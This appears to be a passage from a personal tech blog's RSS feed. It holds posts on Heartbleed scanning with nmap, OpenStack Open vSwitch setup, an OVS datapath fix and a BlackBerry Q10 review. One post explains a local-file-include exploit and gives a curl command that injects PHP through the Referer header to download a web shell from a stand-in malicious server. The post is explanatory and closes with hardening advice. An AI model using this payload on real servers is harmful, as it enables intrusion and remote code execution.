&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/usr/local/bin/nmap --open --script ssl-heartbleed -p &lt;span class=&#34;m&#34;&gt;443&lt;/span&gt; SUBNET-CIDR-HERE &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; sed -e &lt;span class=&#34;s1&#34;&gt;&amp;#39;/report for/,/ssl-heartbleed/!d&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep -v &lt;span class=&#34;s1&#34;&gt;&amp;#39;Host is up&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep -v &lt;span class=&#34;s1&#34;&gt;&amp;#39;SERVICE&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; sed -r &lt;span class=&#34;s1&#34;&gt;&amp;#39;s/Nmap scan report for //&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This produced a clean 2 line result, where if it&amp;rsquo;s vulnerable, it will have &amp;ldquo;ssl-heartbleed&amp;rdquo; under each host/IP address entry.&lt;/p&gt;
&lt;h2 id=&#34;how-to-build-your-own-patched-nmap-binary&#34;&gt;How to build your own patched NMAP binary&lt;/h2&gt;
&lt;p&gt;But what if you don&amp;rsquo;t trust my binary? Good - let me show you how to build one yourself:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><strong>UPDATE: Insecure has released v6.46 which contains all of these patches. Just grab the latest and follow the usage info here</strong></p>
<p>If you don&rsquo;t know what Heartbleed is, you can find out here: <a href="http://heartbleed.com">http://heartbleed.com/</a>. If you don&rsquo;t want to read the details above, XKCD put together a great short comic about it: <a href="http://xkcd.com/1354/">http://xkcd.com/1354/</a></p>
<p>NOTE: I first put this together 3 days ago, but I am just now releasing after being asked by many people for the package and directions.</p>
<p>The problem: How do you scan a bit more than 5 class B&rsquo;s (~328000 IP addresses) before any off the vendors (Tenable, Qualys, Rapid7) have released signatures? Easy - you build your own!<br>
The goal was to scan as many IPs as possible at work as quickly as possible.</p>
<p>After using the Heartbleed github project (<a href="https://github.com/FiloSottile/Heartbleed">https://github.com/FiloSottile/Heartbleed</a>) and creating a Dancer web service around it, I realized that there still needed to be a faster way to scan for this. How much faster?</p>
<p><strong>How about a /24 (254 IP addresses) in less than 10 seconds.</strong></p>
<p>I have a patched version of NMAP already (6.40) that has Heartbleed checks.<br>
<strong>Again, Insecure has released v.6.46 which has these patches. Grab that and follow these directions</strong></p>
<p>Then, you can scan like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/usr/local/bin/nmap --open --script ssl-heartbleed -p <span class="m">443</span> SUBNET-CIDR-HERE
</span></span></code></pre></div><p>If you want cleaner results, for a script, a good way to filter the output will be with something like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/usr/local/bin/nmap --open --script ssl-heartbleed -p <span class="m">443</span> SUBNET-CIDR-HERE <span class="p">|</span> sed -e <span class="s1">&#39;/report for/,/ssl-heartbleed/!d&#39;</span> <span class="p">|</span> grep -v <span class="s1">&#39;Host is up&#39;</span> <span class="p">|</span> grep -v <span class="s1">&#39;SERVICE&#39;</span> <span class="p">|</span> sed -r <span class="s1">&#39;s/Nmap scan report for //&#39;</span>
</span></span></code></pre></div><p>This produced a clean 2 line result, where if it&rsquo;s vulnerable, it will have &ldquo;ssl-heartbleed&rdquo; under each host/IP address entry.</p>
<h2 id="how-to-build-your-own-patched-nmap-binary">How to build your own patched NMAP binary</h2>
<p>But what if you don&rsquo;t trust my binary? Good - let me show you how to build one yourself:</p>
<p>Grab the NMAP source code, extract it, and get SSL-Heartbleed nmap script and TLS Lua script</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> /tmp<span class="p">;</span> mkdir nmap<span class="p">;</span> wget <span class="s1">&#39;http://nmap.org/dist/nmap-6.46.tar.bz2&#39;</span>
</span></span><span class="line"><span class="cl">tar -jxvf nmap-6.40.tar.bz2
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /tmp/nmap/nmap-6.40
</span></span><span class="line"><span class="cl"><span class="c1"># Note: wget patches only needed for versions BEFORE v.6.46</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> nselib<span class="p">;</span> wget <span class="s1">&#39;https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse&#39;</span><span class="p">;</span> <span class="nb">cd</span> ..
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> liblua<span class="p">;</span> wget <span class="s1">&#39;https://svn.nmap.org/nmap/nselib/tls.lua&#39;</span><span class="p">;</span> <span class="nb">cd</span> ..
</span></span></code></pre></div><p>Grab the pre-reqs:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">apt-get install liblua5.1-0-dev libssl-dev netcat checkinstall
</span></span></code></pre></div><p>Configure and Build NMAP:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> /tmp/nmap/nmap-6.40
</span></span><span class="line"><span class="cl">./configure
</span></span><span class="line"><span class="cl">make <span class="s2">&#34;LUA_LIBS=../liblua/liblua.a -ldl -lm&#34;</span>
</span></span></code></pre></div><p>Create an NMAP package and install it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo checkinstall
</span></span><span class="line"><span class="cl">sudo dpkg -i nmap_6.40-1_amd64.deb
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Web Exploit - user modifiable Read and Execute can give you Write access</title>
      <link>https://vpetkov.net/2014/03/01/web-exploit-user-modifiable-read-and-execute-can-give-you-write-access/</link>
      <pubDate>Sat, 01 Mar 2014 08:56:59 +0000</pubDate>
      <guid>https://vpetkov.net/2014/03/01/web-exploit-user-modifiable-read-and-execute-can-give-you-write-access/</guid>
      <description>&lt;p&gt;There are many ways to exploit a web server and gain access to the file system - read or write (sometimes both). This becomes even easier when one hosts CGIs or other dynamic code - especially when that code includes user based inputs. Recently, I found one of the most elegant exploits that I have seen for this kind of an attack vector, so I wanted to go over it and share some information about how it works and what exactly it exploits.&lt;/p&gt;
&lt;p&gt;To setup the background for this scenario, imagine a web server (ex: &amp;lsquo;&lt;a href=&#34;https://www.example.com&#34;&gt;www.example.com&lt;/a&gt;&amp;rsquo;) setup with userdirs, which allows CGI execution - not an uncommon situation at all. This means that &amp;lsquo;user1&amp;rsquo; will have a directory like &amp;lsquo;public_html&amp;rsquo;, which will become directly accessible at: &amp;lsquo;&lt;a href=&#34;http://www.example.com/~user1/&#39;&#34;&gt;http://www.example.com/~user1/&#39;&lt;/a&gt;. For example, creating a &amp;lsquo;blah&amp;rsquo; folder in &amp;lsquo;/home/user1/public_html&amp;rsquo;, will create &amp;lsquo;&lt;a href=&#34;http://www.example.com/~user1/blah&#39;&#34;&gt;http://www.example.com/~user1/blah&#39;&lt;/a&gt; on the web.&lt;/p&gt;
&lt;p&gt;At some point, &amp;lsquo;user1&amp;rsquo; creates a file called &amp;lsquo;x.cgi&amp;rsquo;, which simply has a GET parameter called &amp;lsquo;file&amp;rsquo;, and if that parameter is a file that exists, it loads it via an include. Otherwise, it loads a default.html file. Let&amp;rsquo;s assume that &amp;lsquo;x.cgi&amp;rsquo; is a PHP file which looks like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#!/usr/bin/php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// x.cgi file - used as a &amp;#34;pre-processor&amp;#34; for loading HTML files
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;f&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;file_exists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;include&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;include&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;default.html&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>There are many ways to exploit a web server and gain access to the file system - read or write (sometimes both). This becomes even easier when one hosts CGIs or other dynamic code - especially when that code includes user based inputs. Recently, I found one of the most elegant exploits that I have seen for this kind of an attack vector, so I wanted to go over it and share some information about how it works and what exactly it exploits.</p>
<p>To setup the background for this scenario, imagine a web server (ex: &lsquo;<a href="https://www.example.com">www.example.com</a>&rsquo;) setup with userdirs, which allows CGI execution - not an uncommon situation at all. This means that &lsquo;user1&rsquo; will have a directory like &lsquo;public_html&rsquo;, which will become directly accessible at: &lsquo;<a href="http://www.example.com/~user1/'">http://www.example.com/~user1/'</a>. For example, creating a &lsquo;blah&rsquo; folder in &lsquo;/home/user1/public_html&rsquo;, will create &lsquo;<a href="http://www.example.com/~user1/blah'">http://www.example.com/~user1/blah'</a> on the web.</p>
<p>At some point, &lsquo;user1&rsquo; creates a file called &lsquo;x.cgi&rsquo;, which simply has a GET parameter called &lsquo;file&rsquo;, and if that parameter is a file that exists, it loads it via an include. Otherwise, it loads a default.html file. Let&rsquo;s assume that &lsquo;x.cgi&rsquo; is a PHP file which looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">#!/usr/bin/php
</span></span></span><span class="line"><span class="cl"><span class="c1">// x.cgi file - used as a &#34;pre-processor&#34; for loading HTML files
</span></span></span><span class="line"><span class="cl"><span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">&#39;f&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">file_exists</span><span class="p">(</span><span class="nv">$file</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">include</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">include</span><span class="p">(</span><span class="s1">&#39;default.html&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>The first thing that stands out is that anyone can now read anything in that directory. More generally, anything anywhere on the system that&rsquo;s accessible by the user running the web process. Everything from &lsquo;<a href="http://wwww.example.com/user1/x.cgi?file=file:///home/user1/public_html/x.cgi'">http://wwww.example.com/user1/x.cgi?file=file:///home/user1/public_html/x.cgi'</a> to &lsquo;<a href="http://wwww.example.com/user1/x.cgi?file=file:///etc/passwd'">http://wwww.example.com/user1/x.cgi?file=file:///etc/passwd'</a> for example.</p>
<p>Now what would happen if you load a very specific and special file: &lsquo;/proc/self/environ&rsquo;<br>
There are two very key parts here:<br>
1.) You are loading a bunch of environment variables<br>
2.) You are not just opening/reading the file and writing the output. You are actually loading AND evaluating the file.</p>
<p>The significant parts in #1 are specifically the &lsquo;USER-AGENT&rsquo; and &lsquo;REFERER&rsquo; variables. Normally, the &lsquo;USER-AGENT&rsquo; has something like &lsquo;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)&rsquo; and the &lsquo;REFERER&rsquo; has your previous URL location, unless you came from a new windows/tab, in which case it shows &lsquo;-&rsquo;. The gotcha is that BOTH can be set by the user/client with custom values.<br>
The significant part in #2 is that you are not merely displaying the output. You are actually loading AND executing it.</p>
<p>The scary part is the combination of the two - essentially, you can set &lsquo;USER-AGENT&rsquo; or &lsquo;REFERER&rsquo; to some code, and then load and execute it.</p>
<p>Now imagine doing something like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl http://www.example.com/user1/x.cgi?file<span class="o">=</span>/proc/self/environ --referer <span class="s2">&#34;echo \&#34;&lt;?php system(&#39;wget -O /home/user1/public_html/shell.cgi http://malicious-server.com/shell.cgi&#39;); ?&gt; | php\&#34;&#34;</span>
</span></span></code></pre></div><p>Add another call that instead of wget just chmod&rsquo;s the script, and now you have a remote shell/file transfer mechanism.</p>
<p>Without having explicit Write, by being able to Read something that Executes - and specifically executes to the system, simply by using TWO different READs and an Include, you have achieved a WRITE.</p>
<p>What makes this unique and elegant is the skillfulness with which it exploits two extremely benign problems in order to create a massive problem.</p>
<p>Some general things to take away from this:<br>
1.) You should not enable or use the same directory/section for static + dynamic code - especially when it comes to CGIs. NOTE: This is VERY different from just having PHP files with mod_php in the same directory as HTML. The example above is PHP, but the bigger problem is that it&rsquo;s a general CGI specifically. The code could have been written in any language. The PHP part is not what is being abused here. It&rsquo;s the CGI. If it was Perl, all the calls would have been perl based.<br>
2.) You should never mix INCLUDES with dynamic code - specifically, anything that allows user input. This is just a terrible idea.<br>
3.) You should run something like mod_XYZ to allow &ldquo;CGIs&rdquo;, versus just allowing arbitrary code to run - this was purely possible because there wasn&rsquo;t a mod_php (or mod_perl, etc&hellip;).<br>
4.) You should disable access to anything outside of /home/*/public_html - this is usually taken care of by using a specific MOD.</p>]]></content:encoded>
    </item>
    <item>
      <title>OpenStack - Network Controller - Open vSwitch - Network Interfaces Config</title>
      <link>https://vpetkov.net/2013/08/31/openstack-network-controller-open-vswitch-network-interfaces-config/</link>
      <pubDate>Sat, 31 Aug 2013 06:25:00 +0000</pubDate>
      <guid>https://vpetkov.net/2013/08/31/openstack-network-controller-open-vswitch-network-interfaces-config/</guid>
      <description>&lt;p&gt;Setting up the network interfaces is something that seems to give people a hard time (clearly visible here: &lt;a href=&#34;http://docs.openstack.org/grizzly/basic-install/apt/content/basic-install_network.html)&#34;&gt;http://docs.openstack.org/grizzly/basic-install/apt/content/basic-install_network.html)&lt;/a&gt;. If you follow that guide, one of the most confusing points is how the Open vSwitch fits into the existing architecture.&lt;/p&gt;
&lt;p&gt;Assuming you are following the guide, you have 2 networks:&lt;br&gt;
10.10.10.0/24 -&amp;gt; private&lt;br&gt;
10.0.0.0/24 -&amp;gt; public&lt;/p&gt;
&lt;p&gt;Your Network Controller, again per the guide, will have an internal-network interface of &amp;ldquo;10.10.10.9&amp;rdquo; and an external-network interface of &amp;ldquo;10.0.0.9&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Your starting network config (/etc/network/interfaces) file will look like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;########################################
# Internal Network
auto eth0
iface eth0 inet static
    address 10.10.10.9
    netmask 255.255.255.0

# External Network
auto eth1
iface eth1 inet static
    address 10.0.0.9
    netmask 255.255.255.0
    gateway 10.0.0.1
    dns-nameservers 8.8.8.8
########################################
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, you will first install the packages needed:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# apt-get install quantum-plugin-openvswitch-agent \
quantum-dhcp-agent quantum-l3-agent
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then you will start the Open vSwitch:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# service openvswitch-switch start
&lt;/code&gt;&lt;/pre&gt;</description>
      <content:encoded><![CDATA[<p>Setting up the network interfaces is something that seems to give people a hard time (clearly visible here: <a href="http://docs.openstack.org/grizzly/basic-install/apt/content/basic-install_network.html)">http://docs.openstack.org/grizzly/basic-install/apt/content/basic-install_network.html)</a>. If you follow that guide, one of the most confusing points is how the Open vSwitch fits into the existing architecture.</p>
<p>Assuming you are following the guide, you have 2 networks:<br>
10.10.10.0/24 -&gt; private<br>
10.0.0.0/24 -&gt; public</p>
<p>Your Network Controller, again per the guide, will have an internal-network interface of &ldquo;10.10.10.9&rdquo; and an external-network interface of &ldquo;10.0.0.9&rdquo;</p>
<p>Your starting network config (/etc/network/interfaces) file will look like this:</p>
<pre tabindex="0"><code>########################################
# Internal Network
auto eth0
iface eth0 inet static
    address 10.10.10.9
    netmask 255.255.255.0

# External Network
auto eth1
iface eth1 inet static
    address 10.0.0.9
    netmask 255.255.255.0
    gateway 10.0.0.1
    dns-nameservers 8.8.8.8
########################################
</code></pre><p>Now, you will first install the packages needed:</p>
<pre tabindex="0"><code># apt-get install quantum-plugin-openvswitch-agent \
quantum-dhcp-agent quantum-l3-agent
</code></pre><p>Then you will start the Open vSwitch:</p>
<pre tabindex="0"><code># service openvswitch-switch start
</code></pre><p>At this point, you will create the Open vSwitch bridges and ports:</p>
<pre tabindex="0"><code># ovs-vsctl add-br br-ex
# ovs-vsctl add-port br-ex eth1
# ovs-vsctl add-br br-int
</code></pre><p>and finally, the part that gives everyone the hardest time, the resulting network config (/etc/network/interfaces) file should look like this after you are done:</p>
<pre tabindex="0"><code># /etc/network/interfaces
########################################
# Internal Network - PRIV
auto eth0
iface eth0 inet static
address 10.10.10.9
netmask 255.255.255.0

auto eth1
iface eth1 inet manual
up ip address add 0/0 dev $IFACE
up ip link set $IFACE up
down ip link set $IFACE down

# Open vSwitch
auto br-ex
iface br-ex inet static
# Need this otherwise &#39;auto br-ex&#39; hangs during bootup until failsafe kicks in to kill it.
pre-up service openvswitch-switch start
address 10.0.0.9
netmask 255.255.255.0
gateway 10.0.0.1
# Note: if you will use the internet, you will need add DNS:
dns-nameservers 8.8.8.8 8.8.4.4
dns-search local-domain-name
########################################
</code></pre><p>The last piece is the firewall. Essentially, you are turning your 10.10.10.9 IP (interface) into a gateway for all of the other systems on the 10.10.10.0/24 network (specifically, the compute nodes which are only on that network). They will tunnel though the 10.10.10.9 interface out the br-ex (vSwitch bridge) to your &ldquo;public&rdquo; (in this case, again, 10.0.0.9 is public) network.</p>
<p>The firewall should look like this:</p>
<pre tabindex="0"><code># iptables -A FORWARD -i eth0 -o br-ex -s 10.10.10.0/24 -m conntrack --ctstate NEW -j ACCEPT
# iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# iptables -A POSTROUTING -s 10.10.10.0/24 -t nat -j MASQUERADE
</code></pre><p>and one of the best ways to hook this into Ubuntu so that it auto loads on start up is to run the above to &ldquo;create&rdquo; the firewall. Then, save the existing rules to a file:</p>
<pre tabindex="0"><code>iptables-save &gt; /etc/iptables.rules
</code></pre><p>and then, create a small bash script (iptablesload) that loads it from: /etc/network/if-pre-up.d, which looks like this:</p>
<pre tabindex="0"><code>#!/bin/sh
iptables-restore &lt; /etc/iptables.rules
exit 0
</code></pre><p>That&rsquo;s it. You are done!</p>]]></content:encoded>
    </item>
    <item>
      <title>OpenStack - Quantum - Open vSwitch - datapath for tunnels or patch ports</title>
      <link>https://vpetkov.net/2013/08/31/openstack-quantum-open-vswitch-datapath-for-tunnels-or-patch-ports/</link>
      <pubDate>Sat, 31 Aug 2013 05:37:09 +0000</pubDate>
      <guid>https://vpetkov.net/2013/08/31/openstack-quantum-open-vswitch-datapath-for-tunnels-or-patch-ports/</guid>
      <description>&lt;p&gt;Recently, while setting up my the network controller for OpenStack, I saw this message:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;# tail -f /var/log/quantum/openvswitch-agent.log&lt;/p&gt;
&lt;p&gt;ERROR [quantum.plugins.openvswitch.agent.ovs_quantum_agent] Failed to create OVS patch port. Cannot have tunneling enabled on this agent, since this version of OVS does not support tunnels or patch ports. Agent terminated!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What this means is that the versio of the datapath (shipped by Ubuntu) does not have the support needed to create tunnels or patch ports. This happened on Ubuntu 13.04.&lt;/p&gt;
&lt;p&gt;Fortunately, it is VERY easy to solve this. You need to simply build your own datapath for your kernel. For this, you OpenvSwitch&amp;rsquo;s datapath source, and you need module-assistant:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Recently, while setting up my the network controller for OpenStack, I saw this message:</p>
<blockquote>
<p># tail -f /var/log/quantum/openvswitch-agent.log</p>
<p>ERROR [quantum.plugins.openvswitch.agent.ovs_quantum_agent] Failed to create OVS patch port. Cannot have tunneling enabled on this agent, since this version of OVS does not support tunnels or patch ports. Agent terminated!</p>
</blockquote>
<p>What this means is that the versio of the datapath (shipped by Ubuntu) does not have the support needed to create tunnels or patch ports. This happened on Ubuntu 13.04.</p>
<p>Fortunately, it is VERY easy to solve this. You need to simply build your own datapath for your kernel. For this, you OpenvSwitch&rsquo;s datapath source, and you need module-assistant:</p>
<p><code>apt-get install -y openvswitch-datapath-source module-assistant</code></p>
<p>You can then grab your kernel headers and any other dependencies:</p>
<p><code>module-assistant prepare</code></p>
<p>I noticed that either the kernel headers do not have the version.h in the right place, or the module-assistant looks in the wrong place. You can solve this by doing:</p>
<pre tabindex="0"><code>cd /lib/modules/`uname -r`/build/include/linux
ln -s ../generated/uapi/linux/version.h .
</code></pre><p>And finally, to download, build, and install the modulle:</p>
<p><code>module-assistant auto-install openvswitch-datapath</code></p>
<p>Now, reboot your system so that the new module is loaded, and you are ready to go. You will notice that &ldquo;/var/log/quantum/openvswitch-agent.log&rdquo; no longer has this issue.</p>
]]></content:encoded>
    </item>
    <item>
      <title>1 Week (so far) with the BlackBerry Q10!</title>
      <link>https://vpetkov.net/2013/07/24/1-week-so-far-with-the-blackberry-q10/</link>
      <pubDate>Thu, 25 Jul 2013 03:03:28 +0000</pubDate>
      <guid>https://vpetkov.net/2013/07/24/1-week-so-far-with-the-blackberry-q10/</guid>
      <description>&lt;p&gt;Disclaimer: I wrote this myself and posted it first on PinStack.com. Then I posted it on CrackBerry.com. I am re-posting it here because I think it will benefit people, and I would like to save a copy of it.&lt;/p&gt;
&lt;p&gt;[I am going at this from truly personal experience, along with some background so that you know what kind of an user I am. If you are interested in the specs and overall usage, there are thousands of reviews. I hope that people will appreciate this a bit more than a typical &amp;ldquo;i used it, it made phone calls, it lasted 12 hours, the screen is small, the back over heated, the keyboard was amazing, it&amp;rsquo;s not an iPhone or Android and there are no apps&amp;rdquo; review]&lt;/p&gt;
&lt;p&gt;First - a bit of background about me and cellphones: to call myself a cellphone enthusiast/a power user, or someone who is obsessed with cellphones would be kind of like calling Tiger Woods &amp;ldquo;ok at golf&amp;rdquo; or the Bugatti Veyron &amp;ldquo;faster than a honda&amp;rdquo;. To give you some quick numbers: I&amp;rsquo;ve gone though &amp;gt;30 phones in ~4 years (many many more since the early part of 2000), I have switched through each major US carrier about ~5 times, and in the whole process, I have only paid a cancellation fee twice. [Please note that I have really toned this down lately - mostly because carriers like Samsung have found a way to push a new device every 3-4 months without doing anything exciting and ground breaking.]&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Disclaimer: I wrote this myself and posted it first on PinStack.com. Then I posted it on CrackBerry.com. I am re-posting it here because I think it will benefit people, and I would like to save a copy of it.</p>
<p>[I am going at this from truly personal experience, along with some background so that you know what kind of an user I am. If you are interested in the specs and overall usage, there are thousands of reviews. I hope that people will appreciate this a bit more than a typical &ldquo;i used it, it made phone calls, it lasted 12 hours, the screen is small, the back over heated, the keyboard was amazing, it&rsquo;s not an iPhone or Android and there are no apps&rdquo; review]</p>
<p>First - a bit of background about me and cellphones: to call myself a cellphone enthusiast/a power user, or someone who is obsessed with cellphones would be kind of like calling Tiger Woods &ldquo;ok at golf&rdquo; or the Bugatti Veyron &ldquo;faster than a honda&rdquo;. To give you some quick numbers: I&rsquo;ve gone though &gt;30 phones in ~4 years (many many more since the early part of 2000), I have switched through each major US carrier about ~5 times, and in the whole process, I have only paid a cancellation fee twice. [Please note that I have really toned this down lately - mostly because carriers like Samsung have found a way to push a new device every 3-4 months without doing anything exciting and ground breaking.]</p>
<p>The devices that really stand out in my mind as &ldquo;ground breaking&rdquo; start with a few flip phones (Motorola v66, first RAZR), the Treos, a few Windows phones, a few Blackberries (8320, 8900, 9700, PlayBook), the first few iPhones (1, 3G, 3GS, 4), Palm&rsquo;s WebOS (Pre, TouchPad), and at last, but definitely not least, Android (G1, MyTouch, first Nexus, Nexus S, Nexus 4). I am sure that I am missing a whole bunch of great phones, but these are the phones that made a memorable impression - with both some good/great things, and some bad things. There are also some tablets in there. To me, cellphones are more than just phones, smartphones, tablets, or &ldquo;cool devices&rdquo;. They are amazing technology that is supposed to push the boundary of what is possible - and that is in fact what I truly appreciate about these great gadgets. My love for them is far beyond an obsession. I see each device from each manufacturer for what it truly is (usually anyway). No phone is perfect. Each phone has something great and truly unique.</p>
<p>For the last 4-5 years, I was bouncing between a Blackberry and Android (first the G1, then the MyTouch). Every once in a while I got an iPhone to see how far they had advanced (do you remember the 1st iPhone - holy crap was the browser mind blowing - for its time). The reality however stood - I always loved and kept coming back to the physical keyboard. I couldn&rsquo;t live without it&hellip;well yes, I could, but I wasn&rsquo;t happy. I went from the BlackBerry 8320, to the 8900, and then to the G1 and MyTouch. I got the first Nexus, returned it, and bought the iPhone (3GS). And then - back to the Bold 9700 - which I think is the phone that I used for longest period of time (close to 2 years) as my primary phone. I always craved the nice browser and apps, but the reality was that the great build, call quality, great battery, instant email, and finally, the physical qwerty keyboard, always pulled me back. I eventually gave up the 9700 and went to the Samsung Nexus S, and from there, to the LG Nexus 4.</p>
<p>Fast forward a bit - the Z10 had just come to the US. Not officially. It wasn&rsquo;t available for sale in the US (yet - I think that week it became on sale w/ Verizon), but my work received one for testing. I asked a co-worker if I could use it for a weekend. It was a very interesting phone - definitely with some great new concepts. The problem is that after a weekend, I was extremely annoyed, and I couldn&rsquo;t wait to get back to my Nexus 4. The experience was simply &ldquo;not there yet&rdquo;. It wasn&rsquo;t even close. Tons of things were missing. The day to day usage was disjoined/broken, without uniformity, and there were a lot of bugs. Nothing was just seamless, and there was no consistency in anything on the system. It felt made-shift and rushed. That said, some things were very interesting - camera, maps, and &ldquo;WebOS like swipe&rdquo;. This left me interested. [Just to note: this was on Verizon running 10.0 - 1 or 2 updates at max]. The other thing that stood out was that while the touch keyboard was amazing, the screen was just too small. This was noticeable in browsing and typing - possibly became I came from the bigger LG Nexus 4 (which is the first Android phone I have been able to type mostly comfortably). Either way, what I did get out of this was a spark for BlackBerry again which made me go back to the beloved CrackBerry site and read up the news/rumors/etc. Just like everyone else, I had long ago heard about a qwerty blackberry coming out. In fact, I think it was a year before the z10 came out the rumors came around about a new physical keyboard BlackBerry. But like most people - I didn&rsquo;t pay much attention.</p>
